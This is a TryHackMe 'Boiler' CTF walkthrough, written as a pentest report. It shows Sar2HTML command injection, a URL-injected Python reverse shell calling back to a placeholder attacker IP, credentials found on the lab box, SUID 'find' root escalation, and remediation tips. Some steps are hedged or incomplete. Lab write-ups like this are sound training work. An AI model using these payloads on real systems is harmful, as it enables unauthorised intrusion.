

Pentesting-Report-Of-Boiler-Ctf -Tryhackme

Executive Summary

- **Target OS:** Linux (Ubuntu)
- **Difficulty:** Medium
- **Objective:** Obtain the user flag (**user.txt**) and root flag (**root.txt**) by exploiting web vulnerabilities, cracking credentials, and abusing SUID binaries.

1. Reconnaissance & Port Scanning

We begin by running an initial Nmap scan to discover open ports and services running on the target IP.

Bash

```
nmap -sC -sV -oN nmap_scan.txt <TARGET_IP>
```

Scan Results

The scan reveals several interesting ports:

- **Port 21 (FTP):** VSFTPD 3.0.3 (Anonymous login allowed)
- **Port 80 (HTTP):** Apache httpd 2.4.18
- **Port 10000 (HTTP):** MiniServ 1.890 (Webmin)
- **Port 55007 (SSH):** OpenSSH 7.2p2 (Note: SSH is running on a non-standard high port)

2. Enumeration

FTP (Port 21)

Since anonymous login is enabled, we log in and check for files:

Bash

```
ftp <TARGET_IP>
```

```
# Log in with username: anonymous | password: <blank>
```

We find a hidden file named **.info.txt**. Downloading and viewing it reveals a ROT13 ciphered string:

gfevqtqskjba \$→\$ Decrypts to a troll/rabbit-hole message. This path is a dead end.

Web Enumeration (Port 80)

Visiting the home page on port 80 shows a default Apache page. We run **Gobuster** to find hidden directories:

Bash

```
gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirb/common.txt
```

This reveals several directories:

- [/robots.txt](#) (Contains various fake paths / rabbit holes)
- [/joomla](#) (A Joomla CMS installation)

Running Gobuster specifically on the [/joomla/](#) directory reveals:

- [/joomla/_test/](#)

Exploring [/joomla/_test/](#) reveals a file called [log.txt](#) and instances of **Sar2HTML**, a performance monitoring tool.

3. Initial Foothold (Exploitation)

Exploiting Sar2HTML

The installed version of Sar2HTML is vulnerable to **Remote Code Execution (RCE)** (specifically CVE-2019-9159 or similar local file inclusion/command injection).

By appending a semicolon followed by a system command to the [plot](#) parameter in the URL, we can execute commands:

Plaintext

```
http://<TARGET_IP>/joomla/_test/index.php?plot=;whoami
```

This returns [www-data](#), confirming our command execution works.

Gaining a Reverse Shell

We can now use this command execution to force the system to connect back to our local listener.

1. Start a Netcat listener on your local machine:
2. Bash

nc -lvnp 4444

- 3.
4. Execute a Python or Bash reverse shell payload via the vulnerable URL parameter (URL-encoded if necessary):
5. Plaintext

```
http://<TARGET_IP>/joomla/_test/index.php?plot=;python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<
YOUR_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty;pty.spawn("/bin/bash")'
```

6.

Once connected, stabilize your shell:

Bash

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Press Ctrl+Z to background, then run:

```
stty raw -echo; fg
```

```
export TERM=xterm
```

4. Privilege Escalation

The exploitation and escalation path requires progressing from **www-data** to a local user, and finally to **root**.

1.Enumerate Web Files for Credentials:As **www-data**.

Search the web directory for configuration files. In **/var/www/html/joomla/_test/log.txt** or local configuration backups, we find plaintext credentials for the user **basterd**:

- **Username:** **basterd**
- **Password:** **supernoob_basterd**

2.Pivot to User 'basterd':Via SSH Port 55007.

Use SSH to log in as **basterd** on the non-standard SSH port discovered during reconnaissance:

Bash

```
ssh basterd@ -p 55007
```

Once logged in, look inside **basterd**'s home directory. You will find a file (often a backup script or note) containing the password for another user on the system, **stoner**.

3.Pivot to User 'stoner':Via SSH or su.

Log in or switch users to **stoner** using the recovered password:

Bash

```
su stoner
```

Navigate to **/home/stoner** to read the first flag:

Bash

```
cat user.txt
```

4. Identify SUID Binaries: Enumerate for Root.

To escalate from **stoner** to **root**, check for binaries with the SUID bit set:

```
Bash
find / -perm -u=s -type f 2>/dev/null
```

Among the standard SUID binaries, we notice **/usr/bin/find** is configured with SUID permissions.

5. Abuse SUID 'find' for Root Shell: Final Escalation.

Since **find** has the SUID bit set, it runs with root privileges. We can leverage its **-exec** flag to spawn a root shell:

```
Bash
find . -exec /bin/sh -p \;
```

Verify you are root by running **whoami**, then navigate to the root directory to grab the final flag:

```
Bash
cd /root
cat root.txt
```

5. Post-Exploitation Remediation Advice

To secure this server, the system administrator should:

1. **Disable Anonymous FTP:** Set **anonymous_enable=NO** in the **/etc/vsftpd.conf** file.
2. **Remove Vulnerable Web Apps:** Completely remove the **/joomla/_test** directory containing the vulnerable **Sar2HTML** script.
3. **Audit SUID Permissions:** Remove the SUID bit from binaries like **find** unless absolutely necessary:
4. Bash

```
chmod u-s /usr/bin/find
```

- 5.
6. **Enforce Strong Password Policies:** Ensure users like **basterd** and **stoner** do not store passwords in plain text files or use easily guessable credentials.